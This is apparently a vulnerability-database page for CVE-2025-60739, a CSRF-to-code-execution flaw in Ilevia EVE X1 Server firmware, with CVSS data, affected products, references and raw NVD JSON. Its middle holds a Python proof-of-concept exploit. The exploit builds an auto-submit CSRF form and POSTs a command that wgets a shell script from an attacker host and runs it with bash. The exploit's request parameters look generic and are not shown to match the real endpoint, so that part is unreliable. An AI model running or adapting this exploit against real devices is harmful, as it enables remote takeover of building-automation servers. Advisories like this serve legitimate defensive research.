CVE-2025-60739

Description

Cross Site Request Forgery (CSRF) vulnerability in Ilevia EVE X1 Server Firmware Version v4.7.18.0.eden and before, Logic Version v6.00 - 2025_07_21 allows a remote attacker to execute arbitrary code via the /bh_web_backend component

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ilevia:eve_x1_server_firmware:4.7.18.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:ilevia:eve_x1_server:-:*:*:*:*:*:*:* - NOT VULNERABLE

Ilevia EVE X1 Server Firmware v4.7.18.0.eden 及之前所有版本

Ilevia EVE X1 Logic Version v6.00 - 2025_07_21 及之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-60739 CSRF PoC for Ilevia EVE X1 Server
# Target: /bh_web_backend component
# Vulnerability: Missing CSRF protection allows remote code execution

def exploit_csrf(target_url, attacker_ip, attacker_port):
    """
    Exploit CSRF vulnerability to achieve RCE on Ilevia EVE X1 Server
    """
    # Construct the CSRF attack payload
    # The malicious request will be sent when victim visits this URL
    csrf_endpoint = f"{target_url}/bh_web_backend"
    
    # PoC: Generate CSRF HTML page content
    html_payload = f'''
    <html>
    <body>
    <h1>CSRF Exploit for CVE-2025-60739</h1>
    <p>Click the button to execute command on target:</p>
    <form action="{csrf_endpoint}" method="POST" id="exploitForm">
        <input type="hidden" name="action" value="execute">
        <input type="hidden" name="command" value="wget http://{attacker_ip}:{attacker_port}/shell.sh && bash shell.sh">
        <button type="submit">Execute</button>
    </form>
    <script>
        // Auto-submit form for drive-by attack
        // document.getElementById('exploitForm').submit();
    </script>
    </body>
    </html>
    '''
    
    # Example: Direct request exploitation
    # In real attack, this would be triggered via victim's browser
    exploit_data = {
        'action': 'execute',
        'command': f'wget http://{attacker_ip}:{attacker_port}/rev.sh && bash rev.sh'
    }
    
    try:
        print(f"[*] Sending CSRF payload to {csrf_endpoint}")
        response = requests.post(csrf_endpoint, data=exploit_data, timeout=10)
        print(f"[+] Response Status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Payload delivered successfully")
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: python {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>")
        print(f"Example: python {sys.argv[0]} http://192.168.1.100 10.0.0.1 4444")
        sys.exit(1)
    
    target = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]
    
    exploit_csrf(target, lhost, lport)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60739
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60739
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60739/
[4] VulDB https://vuldb.com/cve/CVE-2025-60739
[5] https://github.com/iSee857/ilevia-EVE-X1-Server-CSRF

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60739", "sourceIdentifier": "[email protected]", "published": "2025-11-25T16:16:07.057", "lastModified": "2025-12-30T17:04:56.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Request Forgery (CSRF) vulnerability in Ilevia EVE X1 Server Firmware Version v4.7.18.0.eden and before, Logic Version v6.00 - 2025_07_21 allows a remote attacker to execute arbitrary code via the /bh_web_backend component"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-352"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ilevia:eve_x1_server_firmware:4.7.18.0:*:*:*:*:*:*:*", "matchCriteriaId": "900AF172-715F-41E7-A99F-C25A0FB77CF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ilevia:eve_x1_server:-:*:*:*:*:*:*:*", "matchCriteriaId": "72B4F8B5-4641-4371-8759-3AB18EC87FB6"}]}]}], "references": [{"url": "https://github.com/iSee857/ilevia-EVE-X1-Server-CSRF", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}